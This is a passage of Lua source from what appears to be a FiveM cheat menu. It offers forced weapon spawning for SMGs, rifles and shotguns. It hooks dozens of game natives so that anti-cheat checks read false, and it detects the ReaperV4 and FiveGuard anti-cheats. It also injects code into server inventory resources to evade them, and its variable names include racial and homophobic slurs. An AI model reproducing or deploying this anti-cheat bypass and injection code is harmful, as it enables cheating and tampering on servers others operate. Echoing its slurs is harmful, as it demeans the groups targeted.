s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 200) ]], selectedWeapon.weapon)) hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }, { label = 'SMG', type = 'scroll', selected = 1, canBind = true, bindName = 'Force SMG', options = (function() local smgOptions = {} for i, weaponName in ipairs(WeaponData.SMG.b) do local imageUrl = WeaponData.SMG.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(smgOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return smgOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local Wait = _G.Wait or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end -- Weapon native hooks -- Weapon native hooks MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: injection into best available inventory resource SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 200) ]], selectedWeapon.weapon)) hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }, { label = 'Rifle', type = 'scroll', selected = 1, canBind = true, bindName = 'Force Rifle', options = (function() local rifleOptions = {} for i, weaponName in ipairs(WeaponData.Rifle.b) do local imageUrl = WeaponData.Rifle.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(rifleOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return rifleOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local Wait = _G.Wait or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end -- Weapon native hooks -- Weapon native hooks MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: injection into best available inventory resource SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 200) ]], selectedWeapon.weapon)) hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }, { label = 'Shotguns', type = 'scroll', selected = 1, canBind = true, bindName = 'Force Shotgun', options = (function() local shotgunOptions = {} for i, weaponName in ipairs(WeaponData.Shotguns.b) do local imageUrl = WeaponData.Shotguns.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(shotgunOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return shotgunOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local Wait = _G.Wait or function(...) end local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: injection into best available inventory resource SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, 